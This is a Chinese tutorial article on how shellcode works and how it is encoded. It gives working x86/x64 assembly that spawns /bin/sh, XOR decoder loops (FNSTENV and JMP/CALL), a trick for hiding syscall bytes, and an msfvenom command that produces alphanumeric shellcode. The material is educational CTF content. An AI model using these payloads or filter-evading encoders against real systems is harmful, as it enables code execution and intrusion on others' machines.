信息安全长篇分享

深度解析shellcode原理及编码技术

shellcode原理

系统调用execve("/bin/sh", 0, 0)

具体可以参考系统调用表64位linux中断向量表

64位

寄存器:

rax = 0x3b
rdi = "/bin/sh"
rsi = 0
rdx = 0

一段简单的 shellcode:

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
push 0x3b
pop rax
syscall

32位

寄存器:

eax = 0xb
ebx = "/bin/sh"
ecx = 0
edx = 0

一段简单的 shellcode:

push 0x68732f
push 0x6e69622f
mov ebx, esp
xor edx, edx
xor eax, eax
int 0x80

shellcode编码技术

限制字符集的shellcode:

  • 一般的可以直接用工具生成。
  • 限制严格的需要进行手写

手写shellcode

思路一

  1. 根据限制的字符集列出对应的可以使用的指令
  2. 对上面的 shellcode 进行修改
  3. 再转为对应的机器码

思路二(ALPHA3就是这么实现的):

  1. 创建一个能够满足字符集的解码器
  2. 根据解码器将shellcode编码成能够满足字符集

这里参考Writing IA32 Restricted Instruction Set Shellcode Decoder Loops讲讲思路二。

首先,考虑为什么要解码:过滤输入的一个普遍问题是编码数据中每个字节可以具有的可能值少于 256 个。但是必须假设原始数据可以包含所有 256 个可能的字节。 这意味着必须使用两个或更多字节来编码一个字节

编码后的 shellcode 要在程序中运行需要附带解码器先进行解码,大概是下面的结构:

[decoder][encoded shellcodes]

接下来是解码器实现的一些细节问题。

解码器

解码器循环:

.-> | 1. 读取编码数据 (input)
| L | 2. 解码
| O | 3. 保存结果 (output)
| O | 4. 移动到下一段数据
| P | 5. 检查是否到达数据
`--'| 6. 如果没到跳转至第1步
V (decoding finished)

重定位

解码器需要知道编码过的shellcode在内存中的位置才能进行解码。由于 shellcode 是被插入到程序中的,而且一些程序还开启了随机化保护,并不确定 shellcode 的实际位置,因此解码器中 shellcode 的位置操作数不能写死,而需要动态计算。这可以利用重定位技术实现。

其中一种重定位技术实现方法是:

  1. 利用特殊指令callfnstenv等动态获取当前指令的运行时地址
  2. 计算该地址与当前指令相对shellcode的偏移的差值(被称为delta offset
  3. 将该差值加到对应数据与该指令相对偏移上,得到的就是运行时数据的正确地址

Patch

对编码器种和补丁中不符合要求的指令可以再编码以使其符合要求。

syscall绕过

不允许出现syscall 字符时(\x0f\x05)

一般会利用一个0x9090 ^ 0x959f=0x0f05, 如下:

xor word ptr[rip], 0x959f
nop
nop ;0x909 
使用0偏移

使用偏移为0的操作数,表示的意义相同,但生成的机器码不同:

00 00 add %al, (%eax)
00 40 00 add %al, 0(%eax) 

FNSTENV XOR decoder

fnstenv指令将最后执行的一条FPU指令相关的协处理器的信息保存在指定的内存中,保存的信息偏移12字节处就是最后执行的浮点指令的运行时地址。

global _start

_start:
fabs            ; fabs指令
fnstenv [esp]   ; 保存环境,该结构偏移12字节处就是最后执行的浮点指令的运行时地址
pop edx
pop edx
pop edx
pop edx         ;此处将fabs指令的运行时地址传给edx
sub dl, -25     ; offset from fabs -> xor buffer    edx = edx + 25,25的大小指的是从shllcode到fabs的偏移

begin:
xor ecx,ecx     ; 清零循环计数器ecx
sub cx, -0x15F  ; 设置cx为shellcode长度

decode:
xor byte [ebx], 0x99    ; 异或key来解码
inc ebx                 ; 进入下一字节
loop decode             ; 循环解码

shellcode:
db ...........................

JMP/CALL decoder

global _start

_start:
jmp short getdata   ; 跳转到getdata

begin:
pop ebx         ; 弹出shellcode的地址
xor ecx,ecx     ; 清零循环计数器ecx
sub cx, -0x15F  ; 设置cx为shellcode长度

decode:
xor byte [ebx], 0x99    ; 异或key来解码
inc ebx                 ; 进入下一字节
loop decode             ; 循环解码
jmp short shellcode     ; 跳到解码完成的shellcode

getdata:
call begin  ; 将下一条指令(shellcode)位置压栈,跳到begin

shellcode:  ; 异或加密后的shellcode
db ..........................

shellcode工具

字符集

alphanumeric指令集

ascii指令集

编码工具

可以利用工具进行编码,但是现在的题目限制比较严格,一般都要手写:

pwntools encoders

安装方法不介绍了。

使用方法看文档:https://docs.pwntools.com/en/latest/encoders.html

msfvenom

安装

msf的一个模块。Kali下自带,其他环境到官网装。

使用

先执行msfvenom -l encoders挑选一个编码器:

$ msfvenom -l encoders        

Framework Encoders [--encoder <value>]
======================================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
    generic/eicar                 manual     The EICAR Encoder
    generic/none                  normal     The "none" Encoder
    mipsbe/byte_xori              normal     Byte XORi Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/byte_xori              normal     Byte XORi Encoder
    mipsle/longxor                normal     XOR Encoder
    php/base64                    great      PHP Base64 Encoder
    ppc/longxor                   normal     PPC LongXOR Encoder
    ppc/longxor_tag               normal     PPC LongXOR Encoder
    ruby/base64                   great      Ruby Base64 Encoder
    sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
    x64/xor                       normal     XOR Encoder
    x64/xor_context               normal     Hostname-based Context Keyed Payload Encoder                                                                    
    x64/xor_dynamic               normal     Dynamic key XOR Encoder                                                                                         
    x64/zutto_dekiru              manual     Zutto Dekiru                                                                                                    
    x86/add_sub                   manual     Add/Sub Encoder                                                                                                 
    x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder                                                                           
    x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder                                                                           
    x86/avoid_underscore_tolower  manual     Avoid underscore/tolower                                                                                        
    x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower                                                                                              
    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder                                                                  
    x86/bmp_polyglot              manual     BMP Polyglot                                                                                                    
    x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder                                                                                        
    x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder                                                                       
    x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown                 normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha                  low        Non-Alpha Encoder
    x86/nonupper                  low        Non-Upper Encoder
    x86/opt_sub                   manual     Sub Encoder (optimised)
    x86/service                   manual     Register Service
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit         manual     Single Static Bit
    x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
    x86/xor_dynamic               normal     Dynamic key XOR Encoder

根据输入的 shellcode 编码为 linux 平台 x86 架构 BufferRegister=EAX纯字母 shellcode:

$ echo "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload

BufferRegister=EAX 用来告诉编码器 shellcode 的位置保存在哪个寄存器中,用于编码器在内存中找到 shellcode 的位置,对编码后的 shellcode 进行解码

具体可以参考Linux pwn入门教程(2)—shellcode的使用

数据库

可以直接查找现成的 shellcode

参考

  1. shellcode题目整理, https://tttang.com/archive/1447/
  2. shellcode 开发, https://firmianay.gitbook.io/ctf-all-in-one/4_tips/4.9_shellcode
  3. Linux pwn入门教程(2)—shellcode的使用, https://zhuanlan.zhihu.com/p/40006190
  4. 【安全健行】(4):揭开shellcode的神秘面纱, https://blog.51cto.com/windhawkfly/1652463
  5. shellcode xor编码/解码[1], https://www.cnblogs.com/moonflow/archive/2012/05/23/2515389.html
  6. Hacking/Shellcode/Restricted instruction set, https://web.archive.org/web/20111023111816/http://skypher.com/wiki/index.php/Hacking/Shellcode/Restricted_instruction_set
  7. Writing IA32 Restricted Instruction Set Shellcode Decoder Loops, http://www.ouah.org/Decoder_%20Loops.html

本文链接: https://linuxstory.org/in-depth-analysis-of-shellcode-principle-and-encoding-technology

LinuxStory 原创文章,转载请注明出处,否则必究相关责任。

对这篇文章感觉如何?

太棒了
0
不错
0
爱死了
0
不太好
0
感觉很糟
0

You may also like

Leave a reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据

More in:信息安全

信息安全

安卓逆向:去广告和弹窗

安卓应用中常见有三种广告:启动广告、弹窗广告以及横幅广告。启动广告一般是单独的一个 Activity,对于这种广告可以通过 Activity 切换定位来加以去除。弹窗广告一般是在 Activity 方法中通过 Dialog->show() 方法调用的,这种广告可以通过 Hook、定位并修改代码方法去除。横幅广告是出现在 UI 布局中的广告,在 xml 中定位到之后可以通过修改宽高和可见性的方法去除。
信息安全

安全能力交换协同应对DDoS

安全形势的急剧恶化也催生出了海量的安全需求,大量安全厂商及网络运营商都投身到这场全球性的安全对抗战役中,但是随着网络攻击在规模、复杂性及量级方面的不断扩大,越来越多的网络安全厂商及运营商感觉到“力不从心”,大家都意识到应对现今的网络攻击已不是一家公司或单一组织可以解决的。协作,必将成为未来网络安全领域最重要的发展方向。
信息安全

跳过开机密码!修改 Windows 10 登录密码 :-)

设置密码来保护自己的电脑数据安全是非常必要的,开机密码能有效防止未经允许的人窥探自己的电脑。本文将介绍一种简单的在CMD模式(无需密码可进入)下简单的重置开机密码,并且保证数据原封不动,且安全有效,并提供防被破解方案。
信息安全

修复正向保密

对于 TLS(保障网络通信提供安全及数据完整性的一种安全协议),可能最大的抱怨是, TLS 握手动作缓慢,传输加密会造成很多 CPU 开销。当然,如果配置正确这些都不是问题。最重要的通过 TLS 提高访客访问你网站的用户体验的一个特征是会话恢复。会话恢复是指当再一次连接到那些主机时,通过存储和重用以前的秘密信息。这大大减少了网络延迟和 CPU 的使用量。我们可以在网络服务器和代理中启用会话恢复,但是很容易违背正向保密。为了找出为什么有实际标准的 TLS 库(即 OpenSSL )会是一件坏事和如何避免搞砸 PFS ...